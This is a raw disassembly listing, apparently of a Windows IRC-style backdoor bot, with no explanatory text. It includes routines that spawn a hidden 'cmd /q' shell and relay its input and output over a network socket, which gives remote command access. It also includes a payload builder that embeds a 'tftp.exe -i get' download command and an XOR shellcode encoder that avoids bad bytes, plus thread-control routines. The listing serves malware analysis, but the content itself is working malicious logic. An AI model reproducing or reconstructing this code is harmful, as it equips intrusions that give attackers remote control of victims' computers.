loc_416508: ; CODE XREF: sub_41629B+264j
push offset unk_438030 ; Format
loc_41650D: ; CODE XREF: sub_41629B+26Bj
lea eax, [ebp+Dest]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41653D
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_40D670
add esp, 14h
loc_41653D: ; CODE XREF: sub_41629B+286j
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
pop ecx
loc_41654A: ; CODE XREF: sub_41629B+206j
; sub_41629B+20Fj ...
inc bl
shr [ebp+var_4], 1
jnz loc_416499
loc_416555: ; CODE XREF: sub_41629B+1F8j
lea eax, [ebp+Dest]
push offset unk_437FF0 ; Format
push eax ; Dest
call _sprintf
pop ecx
xor ebx, ebx
pop ecx
pop edi
jmp short loc_416580
; ---------------------------------------------------------------------------
loc_41656D: ; CODE XREF: sub_41629B+173j
lea eax, [ebp+Dest]
push offset unk_437CB8 ; Format
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_416580: ; CODE XREF: sub_41629B+2D0j
cmp [ebp+arg_C], ebx
jnz short loc_41659E
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_40D670
add esp, 14h
loc_41659E: ; CODE XREF: sub_41629B+2E8j
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
pop ecx
push 1
pop eax
pop esi
pop ebx
leave
retn
sub_41629B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4165B2 proc near ; CODE XREF: sub_41546F+1AFp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push edi
call sub_416703
imul edi, 234h
mov esi, eax
xor ebx, ebx
mov eax, ds:dword_44207C[edi]
mov [ebp+var_C], 0Ch
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [esi+0Ch], eax
mov edi, ds:dword_42309C
pop ecx
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_4168D5
lea eax, [ebp+var_C]
push ebx
push eax
call edi
cmp eax, ebx
mov [esi+10h], eax
jnz short loc_41661D
call ds:dword_423088 ; RtlGetLastWin32Error
push eax ; Args
push offset dword_43821C ; Format
call sub_40BFE3
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
pop ecx
jmp short loc_416657
; ---------------------------------------------------------------------------
loc_41661D: ; CODE XREF: sub_4165B2+50j
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_416987
lea eax, [ebp+var_C]
push ebx
push eax
call edi
cmp eax, ebx
mov [esi+14h], eax
jnz short loc_41665E
call ds:dword_423088 ; RtlGetLastWin32Error
push eax ; Args
push offset dword_43821C ; Format
call sub_40BFE3
pop ecx
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
push ebx
push dword ptr [esi+14h]
call ds:dword_423168
loc_416657: ; CODE XREF: sub_4165B2+69j
xor eax, eax
jmp loc_4166FE
; ---------------------------------------------------------------------------
loc_41665E: ; CODE XREF: sub_4165B2+82j
mov eax, [esi+10h]
push 0FFFFFFFFh
mov [ebp+var_18], eax
mov eax, [esi+14h]
mov [ebp+var_14], eax
mov eax, [esi+8]
mov [ebp+var_10], eax
lea eax, [ebp+var_18]
push ebx
push eax
push 3
call ds:dword_423180 ; WaitForMultipleObjects
sub eax, ebx
jz short loc_4166B8
dec eax
jz short loc_4166B2
dec eax
jz short loc_41669E
call ds:dword_423088 ; RtlGetLastWin32Error
push eax ; Args
push offset dword_4381D8 ; Format
call sub_40BFE3
pop ecx
pop ecx
jmp short loc_4166CD
; ---------------------------------------------------------------------------
loc_41669E: ; CODE XREF: sub_4165B2+D5j
mov edi, ds:dword_423168
push ebx
push dword ptr [esi+14h]
call edi
push ebx
push dword ptr [esi+10h]
call edi
jmp short loc_4166CD
; ---------------------------------------------------------------------------
loc_4166B2: ; CODE XREF: sub_4165B2+D2j
push ebx
push dword ptr [esi+10h]
jmp short loc_4166BC
; ---------------------------------------------------------------------------
loc_4166B8: ; CODE XREF: sub_4165B2+CFj
push ebx
push dword ptr [esi+14h]
loc_4166BC: ; CODE XREF: sub_4165B2+104j
call ds:dword_423168
push 1
push dword ptr [esi+8]
call ds:dword_423110
loc_4166CD: ; CODE XREF: sub_4165B2+EAj
; sub_4165B2+FEj
push dword ptr [esi+10h]
mov edi, ds:dword_423074
call edi
push dword ptr [esi+14h]
call edi
push dword ptr [esi+8]
call edi
push dword ptr [esi]
call edi
push dword ptr [esi+4]
call edi
push dword ptr [esi+0Ch]
call ds:dword_43C6B0 ; closesocket
push esi ; Memory
call _free
pop ecx
push 1
pop eax
loc_4166FE: ; CODE XREF: sub_4165B2+A7j
pop edi
pop esi
pop ebx
leave
retn
sub_4165B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416703 proc near ; CODE XREF: sub_4165B2+Dp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
xor edi, edi
push 18h ; Size
mov [ebp+var_4], edi
mov [ebp+var_8], edi
call _malloc
mov esi, eax
pop ecx
cmp esi, edi
jz loc_4167ED
mov ebx, ds:dword_423140
lea eax, [ebp+var_14]
push edi
push eax
lea eax, [ebp+var_8]
mov [esi], edi
push eax
mov [esi+4], edi
push esi
mov [ebp+var_14], 0Ch
mov [ebp+var_10], edi
mov [ebp+var_C], 1
call ebx ; CreatePipe
mov edi, ds:dword_423074
test eax, eax
jnz short loc_416766
call ds:dword_423088 ; RtlGetLastWin32Error
push eax
push offset dword_4382FC
jmp short loc_416786
; ---------------------------------------------------------------------------
loc_416766: ; CODE XREF: sub_416703+53j
lea eax, [ebp+var_14]
push 0
push eax
lea eax, [esi+4]
push eax
lea eax, [ebp+var_4]
push eax
call ebx ; CreatePipe
test eax, eax
jnz short loc_41678E
call ds:dword_423088 ; RtlGetLastWin32Error
push eax ; Args
push offset dword_4382AC ; Format
loc_416786: ; CODE XREF: sub_416703+61j
call sub_40BFE3
pop ecx
jmp short loc_4167BC
; ---------------------------------------------------------------------------
loc_41678E: ; CODE XREF: sub_416703+75j
push [ebp+arg_0]
push [ebp+var_8]
push [ebp+var_4]
call sub_4167FC
add esp, 0Ch
mov [esi+8], eax
push [ebp+var_4]
call edi
push [ebp+var_8]
call edi
cmp dword ptr [esi+8], 0
jnz short loc_4167F1
push offset dword_438274
call sub_40BF6F
loc_4167BC: ; CODE XREF: sub_416703+89j
cmp [ebp+var_4], 0
pop ecx
jz short loc_4167C8
push [ebp+var_4]
call edi
loc_4167C8: ; CODE XREF: sub_416703+BEj
cmp [ebp+var_8], 0
jz short loc_4167D3
push [ebp+var_8]
call edi
loc_4167D3: ; CODE XREF: sub_416703+C9j
mov eax, [esi]
test eax, eax
jz short loc_4167DC
push eax
call edi
loc_4167DC: ; CODE XREF: sub_416703+D4j
mov eax, [esi+4]
test eax, eax
jz short loc_4167E6
push eax
call edi
loc_4167E6: ; CODE XREF: sub_416703+DEj
push esi ; Memory
call _free
pop ecx
loc_4167ED: ; CODE XREF: sub_416703+1Dj
xor eax, eax
jmp short loc_4167F7
; ---------------------------------------------------------------------------
loc_4167F1: ; CODE XREF: sub_416703+ADj
or dword ptr [esi+0Ch], 0FFFFFFFFh
mov eax, esi
loc_4167F7: ; CODE XREF: sub_416703+ECj
pop edi
pop esi
pop ebx
leave
retn
sub_416703 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4167FC proc near ; CODE XREF: sub_416703+94p
Dst = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 58h
push ebx
push esi
push edi
push 44h
pop edi
xor esi, esi
push edi ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
mov [ebp+var_4], esi
call _memset
push 10h ; Size
lea eax, [ebp+var_14]
push esi ; Val
push eax ; Dst
call _memset
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
add esp, 18h
mov [ebp+var_20], eax
lea eax, [ebp+var_18]
mov [ebp+Dst], edi
mov edi, ds:dword_42313C
push esi
push 1
push 2
push eax
mov [ebp+var_54], esi
mov [ebp+var_4C], esi
mov [ebp+var_50], esi
mov [ebp+var_3C], esi
mov [ebp+var_40], esi
mov [ebp+var_44], esi
mov [ebp+var_48], esi
mov [ebp+var_28], si
mov [ebp+var_24], esi
mov [ebp+var_26], si
mov [ebp+var_2C], 101h
mov [ebp+var_1C], ebx
call edi ; GetCurrentProcess
push eax
push ebx
call edi ; GetCurrentProcess
push eax
call ds:dword_423138
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+Dst]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
push offset aCmdQ ; "cmd /q"
push esi
call ds:dword_423120 ; CreateProcessA
test eax, eax
jz short loc_4168B8
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_C]
imul eax, 234h
push [ebp+var_10]
mov esi, [ebp+var_14]
mov ds:dword_442078[eax], ecx
call ds:dword_423074
jmp short loc_4168CE
; ---------------------------------------------------------------------------
loc_4168B8: ; CODE XREF: sub_4167FC+9Aj
call ds:dword_423088 ; RtlGetLastWin32Error
push eax ; Args
push offset dword_43834C ; Format
call sub_40BFE3
mov esi, [ebp+var_4]
pop ecx
pop ecx
loc_4168CE: ; CODE XREF: sub_4167FC+BAj
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_4167FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4168D5 proc near ; DATA XREF: sub_4165B2+3Fo
var_1B0 = byte ptr -1B0h
var_C8 = byte ptr -0C8h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1B0h
push ebx
push esi
mov ebx, ds:dword_423070
push edi
mov edi, [ebp+arg_0]
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
loc_4168FE: ; CODE XREF: sub_4168D5+8Fj
call ebx
test eax, eax
jz short loc_416966
xor eax, eax
xor dl, dl
xor esi, esi
cmp [ebp+arg_0], eax
jbe short loc_416939
loc_41690F: ; CODE XREF: sub_4168D5+62j
mov cl, [ebp+esi+var_C8]
cmp cl, 0Ah
jnz short loc_416929
cmp dl, 0Dh
jz short loc_416929
mov [ebp+eax+var_1B0], 0Dh
inc eax
loc_416929: ; CODE XREF: sub_4168D5+44j
; sub_4168D5+49j
mov [ebp+eax+var_1B0], cl
inc eax
inc esi
mov dl, cl
cmp esi, [ebp+arg_0]
jb short loc_41690F
loc_416939: ; CODE XREF: sub_4168D5+38j
push 0
push eax
lea eax, [ebp+var_1B0]
push eax
push dword ptr [edi+0Ch]
call ds:dword_43C668 ; send
test eax, eax
jle short loc_416966
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
jmp short loc_4168FE
; ---------------------------------------------------------------------------
loc_416966: ; CODE XREF: sub_4168D5+2Dj
; sub_4168D5+79j
mov esi, ds:dword_423088
call esi ; RtlGetLastWin32Error
cmp eax, 6Dh
jz short loc_416982
call esi ; RtlGetLastWin32Error
push eax ; Args
push offset dword_438398 ; Format
call sub_40BFE3
pop ecx
pop ecx
loc_416982: ; CODE XREF: sub_4168D5+9Cj
pop edi
pop esi
pop ebx
leave
retn
sub_4168D5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416987 proc near ; DATA XREF: sub_4165B2+71o
var_DC = byte ptr -0DCh
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0DCh
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_0]
xor esi, esi
mov [ebp+var_10], ebx
mov [ebp+var_C], ebx
loc_4169A0: ; CODE XREF: sub_416987+39j
; sub_416987+D7j ...
push ebx
lea eax, [ebp+arg_0+3]
push 1
push eax
push dword ptr [edi+0Ch]
call ds:dword_43C630 ; recv
test eax, eax
jle loc_416AA5
cmp [ebp+var_10], ebx
jbe short loc_4169C2
dec [ebp+var_10]
jmp short loc_4169A0
; ---------------------------------------------------------------------------
loc_4169C2: ; CODE XREF: sub_416987+34j
mov al, byte ptr [ebp+arg_0+3]
movsx ecx, al
cmp ecx, 0FFh
jz loc_416A85
cmp al, 8
mov [ebp+var_C], ebx
jz short loc_416A32
cmp al, 7Fh
jz short loc_416A32
cmp al, 3
jnz short loc_4169ED
push ebx
push ebx
call ds:dword_423184 ; GenerateConsoleCtrlEvent
jmp short loc_416A59
; ---------------------------------------------------------------------------
loc_4169ED: ; CODE XREF: sub_416987+5Aj
cmp al, 15h
jnz short loc_416A0F
xor esi, esi
mov [ebp+var_8], 20h
mov [ebp+var_7], 58h
mov [ebp+var_6], 58h
mov [ebp+var_5], 58h
mov [ebp+var_4], 0Dh
mov [ebp+var_3], 0Ah
push 6
jmp short loc_416A45
; ---------------------------------------------------------------------------
loc_416A0F: ; CODE XREF: sub_416987+68j
mov [ebp+esi+var_DC], al
inc esi
push 1
cmp al, 0Dh
mov [ebp+var_8], al
pop ecx
jnz short loc_416A46
mov [ebp+esi+var_DC], 0Ah
mov [ebp+var_7], 0Ah
inc esi
push 2
jmp short loc_416A45
; ---------------------------------------------------------------------------
loc_416A32: ; CODE XREF: sub_416987+52j
; sub_416987+56j
cmp esi, ebx
jbe short loc_416A5C
dec esi
mov [ebp+var_8], 8
mov [ebp+var_7], 20h
mov [ebp+var_6], 8
push 3
loc_416A45: ; CODE XREF: sub_416987+86j
; sub_416987+A9j
pop ecx
loc_416A46: ; CODE XREF: sub_416987+98j
push ebx
lea eax, [ebp+var_8]
push ecx
push eax
push dword ptr [edi+0Ch]
call ds:dword_43C668 ; send
test eax, eax
jle short loc_416AA5
loc_416A59: ; CODE XREF: sub_416987+64j
mov al, byte ptr [ebp+arg_0+3]
loc_416A5C: ; CODE XREF: sub_416987+ADj
cmp al, 0Dh
jnz loc_4169A0
lea eax, [ebp+var_14]
push ebx
push eax
lea eax, [ebp+var_DC]
push esi
push eax
push dword ptr [edi+4]
call ds:dword_423078
test eax, eax
jz short loc_416AA5
xor esi, esi
jmp loc_4169A0
; ---------------------------------------------------------------------------
loc_416A85: ; CODE XREF: sub_416987+47j
cmp [ebp+var_C], ebx
jnz short loc_416A96
mov [ebp+var_C], 1
jmp loc_4169A0
; ---------------------------------------------------------------------------
loc_416A96: ; CODE XREF: sub_416987+101j
mov [ebp+var_10], 0Ah
mov [ebp+var_C], ebx
jmp loc_4169A0
; ---------------------------------------------------------------------------
loc_416AA5: ; CODE XREF: sub_416987+2Bj
; sub_416987+D0j ...
pop edi
pop esi
pop ebx
leave
retn
sub_416987 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_416AAA(char *Str,int)
sub_416AAA proc near ; CODE XREF: sub_416ACA+Ap
; sub_416BA2+8p ...
Str = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+Str] ; Str
call _strlen
push [esp+8+arg_4] ; Str
mov esi, eax
call _strlen
pop ecx
lea eax, [esi+eax*2+0C1h]
pop ecx
pop esi
retn
sub_416AAA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_416ACA(void *Dst,int,void *Str,int)
sub_416ACA proc near ; CODE XREF: sub_416BB9+49p
var_4 = dword ptr -4
Dst = dword ptr 8
arg_4 = dword ptr 0Ch
Str = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_C] ; int
push [ebp+Str] ; Str
call sub_416AAA
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
mov [ebp+var_4], eax
jbe short loc_416AE7
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_416AE7: ; CODE XREF: sub_416ACA+17j
push ebx
push esi
push edi
push [ebp+Str] ; Str
call _strlen
push [ebp+arg_C] ; Str
mov esi, eax
call _strlen
mov edi, eax
mov ebx, [ebp+Dst]
push 0FFFFFFEDh
lea eax, [edi+esi+12h]
mov ds:dword_438478, eax
lea eax, [edi+1]
mov ds:dword_438499, eax
lea eax, [edi+17h]
mov ds:dword_438491, eax
pop eax
push 74h ; Size
sub eax, edi
push offset dword_438414 ; Src
push ebx ; Dst
mov ds:dword_4384A7, eax
call _memcpy
push esi ; Size
lea eax, [ebx+74h]
push [ebp+Str] ; Src
push eax ; Dst
call _memcpy
add esi, 74h
push 5 ; Size
push (offset aTftp_exeIGet+0Ch) ; Src
lea eax, [esi+ebx]
push eax ; Dst
call _memcpy
add esi, 5
push edi ; Size
push [ebp+arg_C] ; Src
lea eax, [esi+ebx]
push eax ; Dst
call _memcpy
add esi, edi
push 10h ; Size
push (offset aTftp_exeIGet+11h) ; Src
lea eax, [esi+ebx]
push eax ; Dst
call _memcpy
add esp, 44h
add esi, 10h
push edi ; Size
lea eax, [esi+ebx]
push [ebp+arg_C] ; Src
push eax ; Dst
call _memcpy
add esi, edi
push 38h ; Size
add esi, ebx
push offset byte_43849D ; Src
push esi ; Dst
call _memcpy
mov eax, [ebp+var_4]
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_416ACA endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_416BA2(char *Str,int)
sub_416BA2 proc near ; CODE XREF: sub_416BB9+Dp
Str = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4] ; int
push [esp+4+Str] ; Str
call sub_416AAA
push eax
call sub_416C26
add esp, 0Ch
retn
sub_416BA2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_416BB9(void *Dst,int,char *Str,int)
sub_416BB9 proc near ; CODE XREF: sub_402B7B+32p
Dst = dword ptr 8
arg_4 = dword ptr 0Ch
Str = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+Str]
push edi
mov edi, [ebp+arg_C]
push edi ; int
push ebx ; Str
call sub_416BA2
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
ja short loc_416BD9
cmp eax, 0FFFFh
jbe short loc_416BDD
loc_416BD9: ; CODE XREF: sub_416BB9+17j
xor eax, eax
jmp short loc_416C22
; ---------------------------------------------------------------------------
loc_416BDD: ; CODE XREF: sub_416BB9+1Ej
push esi
push edi ; int
push ebx ; Str
call sub_416AAA
add eax, 101h
push eax ; Size
call _malloc
add esp, 0Ch
mov esi, eax
push edi ; int
push ebx ; Str
push edi ; int
push ebx ; Str
call sub_416AAA
pop ecx
pop ecx
push eax ; int
push esi ; Dst
call sub_416ACA
push eax ; int
push esi ; int
push [ebp+arg_4] ; int
push [ebp+Dst] ; Dst
call sub_416C41
push esi ; Memory
mov edi, eax
call _free
add esp, 24h
mov eax, edi
pop esi
loc_416C22: ; CODE XREF: sub_416BB9+22j
pop edi
pop ebx
pop ebp
retn
sub_416BB9 endp
; =============== S U B R O U T I N E =======================================
sub_416C26 proc near ; CODE XREF: sub_416BA2+Ep
; sub_416C41+4Ap
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test cl, cl
jnz short loc_416C2F
inc ecx
loc_416C2F: ; CODE XREF: sub_416C26+6j
mov eax, 0FFh
cmp eax, ecx
sbb eax, eax
and eax, 2
add eax, 15h
add eax, ecx
retn
sub_416C26 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_416C41(void *Dst,int,int,int)
sub_416C41 proc near ; CODE XREF: sub_416BB9+56p
var_4 = dword ptr -4
Dst = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
cmp byte ptr [ebp+arg_C], 0Ah
jz short loc_416C5D
cmp byte ptr [ebp+arg_C], 0Dh
jz short loc_416C5D
cmp byte ptr [ebp+arg_C], 5Ch
jz short loc_416C5D
cmp byte ptr [ebp+arg_C], 0
jnz short loc_416C60
loc_416C5D: ; CODE XREF: sub_416C41+8j
; sub_416C41+Ej ...
inc [ebp+arg_C]
loc_416C60: ; CODE XREF: sub_416C41+1Aj
push esi
mov esi, 0FFh
cmp [ebp+arg_C], esi
jbe short loc_416C88
mov eax, [ebp+arg_C]
shr eax, 8
cmp al, 0Ah
jz short loc_416C81
cmp al, 0Dh
jz short loc_416C81
cmp al, 5Ch
jz short loc_416C81
test al, al
jnz short loc_416C88
loc_416C81: ; CODE XREF: sub_416C41+32j
; sub_416C41+36j ...
add [ebp+arg_C], 100h
loc_416C88: ; CODE XREF: sub_416C41+28j
; sub_416C41+3Ej
push [ebp+arg_C]
call sub_416C26
cmp eax, [ebp+arg_4]
pop ecx
mov [ebp+var_4], eax
ja short loc_416CA0
cmp eax, 0FFFFh
jbe short loc_416CA7
loc_416CA0: ; CODE XREF: sub_416C41+56j
xor eax, eax
jmp loc_416D45
; ---------------------------------------------------------------------------
loc_416CA7: ; CODE XREF: sub_416C41+5Dj
mov ecx, [ebp+arg_C]
push ebx
mov bl, ds:byte_486F9C
xor edx, edx
push edi
mov edi, [ebp+arg_8]
test ecx, ecx
jbe short loc_416CD7
loc_416CBB: ; CODE XREF: sub_416C41+94j
mov al, [edx+edi]
xor al, bl
jz short loc_416CCE
cmp al, 0Ah
jz short loc_416CCE
cmp al, 0Dh
jz short loc_416CCE
cmp al, 5Ch
jnz short loc_416CD2
loc_416CCE: ; CODE XREF: sub_416C41+7Fj
; sub_416C41+83j ...
inc bl
xor edx, edx
loc_416CD2: ; CODE XREF: sub_416C41+8Bj
inc edx
cmp edx, ecx
jb short loc_416CBB
loc_416CD7: ; CODE XREF: sub_416C41+78j
cmp ecx, esi
mov ds:byte_486F9C, bl
ja short loc_416D03
push 15h ; Size
push offset loc_4383FC ; Src
push [ebp+Dst] ; Dst
mov ds:byte_438409, cl
mov ds:byte_43840D, bl
call _memcpy
add esp, 0Ch
push 15h
jmp short loc_416D24
; ---------------------------------------------------------------------------
loc_416D03: ; CODE XREF: sub_416C41+9Ej
push 17h ; Size
push offset loc_4383E4 ; Src
push [ebp+Dst] ; Dst
mov ds:word_4383F2, cx
mov ds:byte_4383F7, bl
call _memcpy
add esp, 0Ch
push 17h
loc_416D24: ; CODE XREF: sub_416C41+C0j
xor eax, eax
pop ecx
cmp [ebp+arg_C], eax
jbe short loc_416D40
mov edx, [ebp+Dst]
lea esi, [ecx+edx]
loc_416D32: ; CODE XREF: sub_416C41+FDj
mov cl, [eax+edi]
xor cl, bl
mov [esi+eax], cl
inc eax
cmp eax, [ebp+arg_C]
jb short loc_416D32
loc_416D40: ; CODE XREF: sub_416C41+E9j
mov eax, [ebp+var_4]
pop edi
pop ebx
loc_416D45: ; CODE XREF: sub_416C41+61j
pop esi
leave
retn
sub_416C41 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_416D48(char *Source,int,int)
sub_416D48 proc near ; CODE XREF: sub_4060CD+220p
; sub_407243+F0p ...
Source = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_441E70
loc_416D50: ; CODE XREF: sub_416D48+18j
cmp byte ptr [eax], 0
jz short loc_416D64
add eax, 234h
inc edi
cmp eax, offset dword_486C00
jl short loc_416D50
jmp short loc_416DAF
; ---------------------------------------------------------------------------
loc_416D64: ; CODE XREF: sub_416D48+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh ; Count
push [esp+0Ch+Source] ; Source
lea eax, dword_441E70[esi]
push eax ; Dest
call _strncpy
mov eax, [esp+14h+arg_4]
add esp, 0Ch
mov ds:dword_442070[esi], eax
and ds:dword_442074[esi], 0
mov eax, [esp+8+arg_8]
and ds:dword_442078[esi], 0
mov ds:dword_44207C[esi], eax
and ds:byte_442088[esi], 0
pop esi
loc_416DAF: ; CODE XREF: sub_416D48+1Aj
mov eax, edi
pop edi
retn
sub_416D48 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416DB3 proc near ; DATA XREF: sub_40EE51+5BE3o
var_98 = dword ptr -98h
Str = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
push [ebp+var_10] ; int
mov dword ptr [eax+94h], 1
lea eax, [ebp+Str]
push [ebp+var_C] ; int
push eax ; Str
push [ebp+var_98] ; int
call sub_416E05
push [ebp+var_14]
call sub_417064
add esp, 14h
push 0
call ds:dword_423050
pop edi
pop esi
sub_416DB3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_416E05(int,char *Str,int,int)
sub_416E05 proc near ; CODE XREF: sub_416DB3+38p
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0 ; int
push [ebp+arg_8] ; int
push offset aThreadList ; "-[Thread List]-"
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40D670
add esp, 14h
xor edi, edi
mov esi, offset dword_441E70
loc_416E2F: ; CODE XREF: sub_416E05+78j
cmp byte ptr [esi], 0
jz short loc_416E70
cmp [ebp+arg_C], 0
jnz short loc_416E43
cmp dword ptr [esi+204h], 0
jnz short loc_416E70
loc_416E43: ; CODE XREF: sub_416E05+33j
push esi
push edi
lea eax, [ebp+Dest]
push offset aD_S ; "%d. %s"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40D670
add esp, 24h
loc_416E70: ; CODE XREF: sub_416E05+2Dj
; sub_416E05+3Cj
add esi, 234h
inc edi
cmp esi, offset dword_486C00
jl short loc_416E2F
pop edi
pop esi
leave
retn
sub_416E05 endp
; =============== S U B R O U T I N E =======================================
sub_416E83 proc near ; CODE XREF: sub_40EE51+4DCEp
; sub_416F11+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_416F0B
cmp esi, 1F4h
jge short loc_416F0B
imul esi, 234h
push edi
push ebx
push ds:dword_442084[esi]
lea edi, dword_442084[esi]
call ds:dword_423168
cmp [edi], ebx
jz short loc_416EBB
push 1
pop ebp
loc_416EBB: ; CODE XREF: sub_416E83+33j
mov [edi], ebx
lea edi, dword_442078[esi]
mov ds:dword_442070[esi], ebx
mov ds:dword_442074[esi], ebx
mov eax, [edi]
cmp eax, ebx
jbe short loc_416EDC
push eax
call sub_415408
pop ecx
loc_416EDC: ; CODE XREF: sub_416E83+50j
mov [edi], ebx
lea edi, dword_44207C[esi]
mov byte ptr ds:dword_441E70[esi], bl
mov ds:byte_442088[esi], bl
push dword ptr [edi]
call ds:dword_43C6B0 ; closesocket
lea esi, dword_442080[esi]
mov [edi], ebx
push dword ptr [esi]
call ds:dword_43C6B0 ; closesocket
mov [esi], ebx
pop edi
loc_416F0B: ; CODE XREF: sub_416E83+Dj
; sub_416E83+15j
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_416E83 endp
; =============== S U B R O U T I N E =======================================
sub_416F11 proc near ; CODE XREF: sub_40AC3D:loc_40AC61p
; sub_40D39C+18p ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_441E70
loc_416F1D: ; CODE XREF: sub_416F11+2Aj
cmp byte ptr [esi], 0
jz short loc_416F2E
push edi
call sub_416E83
test eax, eax
pop ecx
jz short loc_416F2E
inc ebx
loc_416F2E: ; CODE XREF: sub_416F11+Fj
; sub_416F11+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_486C00
jl short loc_416F1D
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_416F11 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416F43 proc near ; CODE XREF: sub_40EE51+1E2Cp
; sub_40EE51+1E9Ap ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_442074
loc_416F57: ; CODE XREF: sub_416F43+43j
